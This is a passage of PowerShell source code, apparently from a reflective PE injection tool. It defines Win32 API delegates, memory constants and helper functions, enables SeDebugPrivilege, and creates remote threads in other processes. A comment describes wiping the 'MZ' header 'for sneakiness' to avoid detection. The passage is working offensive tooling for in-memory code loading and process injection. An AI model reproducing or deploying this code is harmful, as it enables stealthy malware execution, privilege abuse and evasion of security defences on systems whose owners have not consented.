       $LUID = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
       
       #Struct LUID_AND_ATTRIBUTES
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
       $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
       $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
       $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
       
       #Struct TOKEN_PRIVILEGES
       $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
       $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
       $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
       $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
       $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
       $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

       return $Win32Types
   }

   Function Get-Win32Constants
   {
       $Win32Constants = New-Object System.Object
       
       $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
       $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
       $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
       $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
       $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
       $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
       $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
       $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
       
       return $Win32Constants
   }

   Function Get-Win32Functions
   {
       $Win32Functions = New-Object System.Object
       
       $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
       $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
       $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
       $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
       
       $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
       $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
       $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
       $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
       
       $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
       $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
       $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
       
       $memsetAddr = Get-ProcAddress msvcrt.dll memset
       $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
       $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
       
       $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
       $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
       $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
       
       $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
       $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
       $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
       
       $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
       $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
       $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
       
       $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
       $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
       $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
       $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
       
       $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
       $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
       $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
       $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
       
       $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
       $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
       $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
       $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
       
       $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
       $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
       $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
       $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
       
       $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
       $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
       $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
       
       $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
       $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
       $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
       
       $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
       $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
       $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
       
       $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
       $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
       $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
       
       $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
       $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
       $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
       
       $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
       $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
       $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
       
       $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
       $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
       $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
       
       $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
       $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
       $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
       
       $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
       $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
       $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
       
       $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
       $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
       $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
       
       $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
       $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
       $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
       
       $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
       $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
       $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
       
       # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
       if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
           $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
           $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
           $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
           $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
       }
       
       $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
       $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
       $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
       
       $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
       $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
       $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
       $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
       
       return $Win32Functions
   }
   #####################################

           
   #####################################
   ###########    HELPERS ############
   #####################################

   #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
   #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
   Function Sub-SignedIntAsUnsigned
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [Int64]
       $Value1,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [Int64]
       $Value2
       )
       
       [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
       [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
       [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

       if ($Value1Bytes.Count -eq $Value2Bytes.Count)
       {
           $CarryOver = 0
           for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
           {
               $Val = $Value1Bytes[$i] - $CarryOver
               #Sub bytes
               if ($Val -lt $Value2Bytes[$i])
               {
                   $Val += 256
                   $CarryOver = 1
               }
               else
               {
                   $CarryOver = 0
               }
               
               
               [UInt16]$Sum = $Val - $Value2Bytes[$i]

               $FinalBytes[$i] = $Sum -band 0x00FF
           }
       }
       else
       {
           Throw "Cannot subtract bytearrays of different sizes"
       }
       
       return [BitConverter]::ToInt64($FinalBytes, 0)
   }
   

   Function Add-SignedIntAsUnsigned
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [Int64]
       $Value1,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [Int64]
       $Value2
       )
       
       [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
       [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
       [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

       if ($Value1Bytes.Count -eq $Value2Bytes.Count)
       {
           $CarryOver = 0
           for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
           {
               #Add bytes
               [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver

               $FinalBytes[$i] = $Sum -band 0x00FF
               
               if (($Sum -band 0xFF00) -eq 0x100)
               {
                   $CarryOver = 1
               }
               else
               {
                   $CarryOver = 0
               }
           }
       }
       else
       {
           Throw "Cannot add bytearrays of different sizes"
       }
       
       return [BitConverter]::ToInt64($FinalBytes, 0)
   }
   

   Function Compare-Val1GreaterThanVal2AsUInt
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [Int64]
       $Value1,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [Int64]
       $Value2
       )
       
       [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
       [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

       if ($Value1Bytes.Count -eq $Value2Bytes.Count)
       {
           for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
           {
               if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
               {
                   return $true
               }
               elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
               {
                   return $false
               }
           }
       }
       else
       {
           Throw "Cannot compare byte arrays of different size"
       }
       
       return $false
   }
   

   Function Convert-UIntToInt
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [UInt64]
       $Value
       )
       
       [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
       return ([BitConverter]::ToInt64($ValueBytes, 0))
   }


   Function Get-Hex
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       $Value #We will determine the type dynamically
       )

       $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
       $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.

       return $Hex
   }
   
   
   Function Test-MemoryRangeValid
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [String]
       $DebugString,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $PEInfo,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [IntPtr]
       $StartAddress,
       
       [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
       [IntPtr]
       $Size
       )
       
       [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
       
       $PEEndAddress = $PEInfo.EndAddress
       
       if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
       {
           Throw "Trying to write to memory smaller than allocated address range. $DebugString"
       }
       if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
       {
           Throw "Trying to write to memory greater than allocated address range. $DebugString"
       }
   }
   
   
   Function Write-BytesToMemory
   {
       Param(
           [Parameter(Position=0, Mandatory = $true)]
           [Byte[]]
           $Bytes,
           
           [Parameter(Position=1, Mandatory = $true)]
           [IntPtr]
           $MemoryAddress
       )
   
       for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
       {
           [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
       }
   }
   

   #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
   Function Get-DelegateType
   {
       Param
       (
           [OutputType([Type])]
           
           [Parameter( Position = 0)]
           [Type[]]
           $Parameters = (New-Object Type[](0)),
           
           [Parameter( Position = 1 )]
           [Type]
           $ReturnType = [Void]
       )

       $Domain = [AppDomain]::CurrentDomain
       $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
       $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
       $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
       $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
       $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
       $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
       $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
       $MethodBuilder.SetImplementationFlags('Runtime, Managed')
       
       Write-Output $TypeBuilder.CreateType()
   }


   #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
   Function Get-ProcAddress
   {
       Param
       (
           [OutputType([IntPtr])]
       
           [Parameter( Position = 0, Mandatory = $True )]
           [String]
           $Module,
           
           [Parameter( Position = 1, Mandatory = $True )]
           [String]
           $Procedure
       )

       # Get a reference to System.dll in the GAC
       $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
       $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
       # Get a reference to the GetModuleHandle and GetProcAddress methods
       $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
       $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
       # Get a handle to the module specified
       $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
       $tmpPtr = New-Object IntPtr
       $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

       # Return the address of the function
       Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
   }
   
   
   Function Enable-SeDebugPrivilege
   {
       Param(
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Functions,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Types,
       
       [Parameter(Position = 3, Mandatory = $true)]
       [System.Object]
       $Win32Constants
       )
       
       [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
       if ($ThreadHandle -eq [IntPtr]::Zero)
       {
           Throw "Unable to get the handle to the current thread"
       }
       
       [IntPtr]$ThreadToken = [IntPtr]::Zero
       [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
       if ($Result -eq $false)
       {
           $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
           if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
           {
               $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
               if ($Result -eq $false)
               {
                   Throw "Unable to impersonate self"
               }
               
               $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
               if ($Result -eq $false)
               {
                   Throw "Unable to OpenThreadToken."
               }
           }
           else
           {
               Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
           }
       }
       
       [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
       $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
       if ($Result -eq $false)
       {
           Throw "Unable to call LookupPrivilegeValue"
       }

       [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
       [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
       $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
       $TokenPrivileges.PrivilegeCount = 1
       $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
       $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
       [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)

       $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
       $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
       if (($Result -eq $false) -or ($ErrorCode -ne 0))
       {
           #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
       }
       
       [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
   }
   
   
   Function Create-RemoteThread
   {
       Param(
       [Parameter(Position = 1, Mandatory = $true)]
       [IntPtr]
       $ProcessHandle,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [IntPtr]
       $StartAddress,
       
       [Parameter(Position = 3, Mandatory = $false)]
       [IntPtr]
       $ArgumentPtr = [IntPtr]::Zero,
       
       [Parameter(Position = 4, Mandatory = $true)]
       [System.Object]
       $Win32Functions
       )
       
       [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
       
       $OSVersion = [Environment]::OSVersion.Version
       #Vista and Win7
       if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
       {
           #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
           $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
           $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
           if ($RemoteThreadHandle -eq [IntPtr]::Zero)
           {
               Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
           }
       }
       #XP/Win8
       else
       {
           #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
           $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
       }
       
       if ($RemoteThreadHandle -eq [IntPtr]::Zero)
       {
           #Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
       }
       
       return $RemoteThreadHandle
   }

   

   Function Get-ImageNtHeaders
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [IntPtr]
       $PEHandle,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Types
       )
       
       $NtHeadersInfo = New-Object System.Object
       
       #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
       $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)

       #Get IMAGE_NT_HEADERS
       [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
